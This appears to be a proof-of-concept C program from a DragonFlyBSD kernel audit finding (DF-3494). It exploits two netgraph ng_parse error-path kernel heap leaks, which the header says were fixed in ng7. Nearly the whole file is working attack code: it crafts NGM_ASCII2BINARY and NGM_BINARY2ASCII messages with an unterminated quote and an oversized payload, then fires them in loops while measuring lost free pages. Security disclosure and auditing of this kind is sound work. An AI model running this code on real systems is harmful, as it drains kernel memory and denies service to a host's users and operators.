⬢ DragonFlyBSD Kernel Audit
DF-3494 / ngpleak.c
← back to finding ↓ download raw
/*
 * DF-3494 PoC -- v1 ng_parse error-path kernel heap leaks
 *               (sys/netgraph/netgraph/ng_parse.c; both fixed in ng7)
 *
 * (a) token leak: ng_get_string_token() kmallocs cbuf and returns NULL
 *     on an unterminated quote WITHOUT freeing it (:1559-1624).
 *     ng7 added the missing kfree (ng7 ng_parse.c, "no closing quote" path).
 *     Reach: NGM_ASCII2BINARY "name" -> ng_fixedstring_parse ->
 *     ng_get_string_token("{name=\"AAAA...", ...) -> NULL -> leak.
 *
 * (b) unparse leak: ng_unparse_composite() kmallocs a 20KB workBuf and the
 *     NG_PARSE_APPEND macro does `return (ERANGE)` on buffer exhaustion
 *     WITHOUT freeing it (:1240,1245,1274,1278,1285,1301).
 *     ng7 restructured with ng_parse_append() + goto fail.
 *     Reach: NGM_BINARY2ASCII "binary2ascii" (respType =
 *     ng_parse_ng_mesg_type) with inner arglen=60000 -> the data bytearray
 *     unparse exceeds the 20480-byte cbuf -> ERANGE -> 20KB leak/call.
 *
 * Measurement: vm.stats.vm.v_free_count delta across N iterations.
 *
 * Build:  cc -O -o ngpleak ngpleak.c
 * Run:    ./ngpleak [n_tok n_unp alen]   (root; kldload ng_socket)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <err.h>

#define NG_AF             32
#define NG_CONTROL        2
#define NG_VERSION        2
#define NGF_RESP          0x0001
#define NGM_GENERIC_COOKIE 851672668UL
#define NGM_NAME          4
#define NGM_BINARY2ASCII  12
#define NGM_ASCII2BINARY  13
#define NG_CMDSTRSIZ      32

struct ng_msghdr {
    u_char  version;
    u_char  spare;
    u_int16_t arglen;
    u_int32_t flags;
    u_int32_t token;
    u_int32_t typecookie;
    u_int32_t cmd;
    u_char  cmdstr[NG_CMDSTRSIZ];
};
struct ng_mesg {
    struct ng_msghdr header;
    char data[0];
};
struct sockaddr_ng {
    u_char  sg_len;
    u_char  sg_family;
    char    sg_data[16];
};

static int cs;

static long
freepages(void)
{
    static int resolved[CTL_MAXNAME];
    static size_t reslen = 0;
    long out;
    size_t olen = sizeof(out);

    if (reslen == 0) {
        reslen = CTL_MAXNAME;
        if (sysctlnametomib("vm.stats.vm.v_free_count",
                            resolved, &reslen) < 0)
            err(2, "sysctlnametomib");
    }
    if (sysctl(resolved, reslen, &out, &olen, NULL, 0) < 0)
        err(2, "sysctl(v_free_count)");
    return (out);
}

/* drain any pending response */
static void
drain(void)
{
    struct timeval tv = { 0, 0 };
    static char buf[70000];
    setsockopt(cs, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    while (recv(cs, buf, sizeof(buf), MSG_DONTWAIT) > 0)
        ;
}

static int
send_msg(const void *buf, int len)
{
    struct sockaddr_ng dst;
    memset(&dst, 0, sizeof(dst));
    dst.sg_family = NG_AF;
    dst.sg_data[0] = '.';
    dst.sg_data[1] = '\0';
    dst.sg_len = 3;
    return (sendto(cs, buf, len, 0, (struct sockaddr *)&dst, dst.sg_len) < 0
            ? -1 : 0);
}

/* ---- (a) unterminated-quote token leak: ~(alen) bytes per call ---- */
static int
leak_token(int alen)
{
    /*
     * outer NGM_ASCII2BINARY containing an inner ng_mesg with
     * cmdstr="name", arglen=alen, and data '{name="AAAA...' with no
     * closing quote.
     */
    int inner_total = sizeof(struct ng_mesg) + alen;
    int total = sizeof(struct ng_mesg) + inner_total;
    struct ng_mesg *out = calloc(1, total);
    struct ng_mesg *inner = (struct ng_mesg *)out->data;
    char *d;
    int r;

    inner->header.version = NG_VERSION;
    inner->header.arglen = alen;
    strlcpy((char *)inner->header.cmdstr, "name", NG_CMDSTRSIZ);
    d = inner->data;
    memcpy(d, "{name=\"", 7);
    memset(d + 7, 'A', alen - 8);
    d[alen - 1] = '\0';                 /* kernel also forces this NUL */

    out->header.version = NG_VERSION;
    out->header.arglen = inner_total;
    out->header.typecookie = NGM_GENERIC_COOKIE;
    out->header.cmd = NGM_ASCII2BINARY;
    strlcpy((char *)out->header.cmdstr, "ascii2binary", NG_CMDSTRSIZ);

    r = send_msg(out, total);
    free(out);
    return (r);
}

/* ---- (b) unparse ERANGE leak: 20KB per call ---- */
static int
leak_unparse(void)
{
    int inner_dlen = 20000;    /* 20000 elems x ~5 chars >> 20480 cbuf */
    int inner_total = sizeof(struct ng_mesg) + inner_dlen;
    int total = sizeof(struct ng_mesg) + inner_total;
    struct ng_mesg *out = calloc(1, total);
    struct ng_mesg *inner = (struct ng_mesg *)out->data;
    int r;

    inner->header.version = NG_VERSION;
    inner->header.arglen = inner_dlen;
    inner->header.flags = NGF_RESP;   /* -> respType = ng_parse_ng_mesg_type */
    inner->header.typecookie = NGM_GENERIC_COOKIE;
    inner->header.cmd = NGM_BINARY2ASCII;
    memset(inner->data, 0xAA, inner_dlen);   /* non-default bytes */

    out->header.version = NG_VERSION;
    out->header.arglen = inner_total;
    out->header.typecookie = NGM_GENERIC_COOKIE;
    out->header.cmd = NGM_BINARY2ASCII;
    strlcpy((char *)out->header.cmdstr, "binary2ascii", NG_CMDSTRSIZ);

    r = send_msg(out, total);
    free(out);
    return (r);
}

int
main(int argc, char **argv)
{
    long p0, p1, pa;
    int i, n_tok = 4000, n_unp = 1500, alen = 5000;

    if (argc > 1) n_tok = atoi(argv[1]);
    if (argc > 2) n_unp = atoi(argv[2]);
    if (argc > 3) alen = atoi(argv[3]);

    cs = socket(NG_AF, SOCK_DGRAM, NG_CONTROL);
    if (cs < 0)
        errx(2, "socket(NG_CONTROL): %s (need root; kldload ng_socket)",
             strerror(errno));
    {
        int sb = 262144;
        setsockopt(cs, SOL_SOCKET, SO_SNDBUF, &sb, sizeof(sb));
    }

    p0 = freepages();
    printf("[*] vm.stats.vm.v_free_count baseline: %ld\n", p0);

    printf("[*] (a) firing %d x NGM_ASCII2BINARY unterminated quote "
           "(~%d B leaked per call expected)\n", n_tok, alen);
    for (i = 0; i < n_tok; i++) {
        /*
         * EINVAL is the EXPECTED synchronous result: the unterminated
         * quote leaks cbuf inside ng_get_string_token, then the parse
         * fails with EINVAL. Any return value keeps the loop going.
         */
        if (leak_token(alen) < 0 && i == 0)
            printf("[*] (a) first sendto returned EINVAL (expected; "
                   "leak occurs on the error path)\n");
        if ((i % 500) == 499)
            drain();
    }
    drain();
    pa = freepages();
    printf("[+] (a) free pages: %ld -> %ld (delta %ld pages = %ld MB)\n",
           p0, pa, p0 - pa, (p0 - pa) * 4L / 1024L);

    printf("[*] (b) firing %d x NGM_BINARY2ASCII 20KB non-default "
           "(20 KB leaked per call expected)\n", n_unp);
    for (i = 0; i < n_unp; i++) {
        /*
         * ERANGE ("Result too large") is the EXPECTED synchronous result:
         * ng_unparse_composite's NG_PARSE_APPEND returns ERANGE after
         * kmalloc'ing the 20KB workBuf -- which is leaked. EINVAL-family
         * returns here are proof the ERANGE path ran.
         */
        if (leak_unparse() < 0 && i == 0)
            printf("[*] (b) first sendto returned ERANGE (expected; "
                   "workBuf leak occurs on the error path)\n");
        if ((i % 100) == 99)
            drain();
    }
    drain();
    p1 = freepages();
    printf("[+] (b) free pages now: %ld (delta from (a): %ld pages = %ld MB; "
           "expected ~%ld MB)\n", p1, pa - p1, (pa - p1) * 4L / 1024L,
           (long)n_unp * 20L / 1024L);

    printf("[*] done\n");
    return (0);
}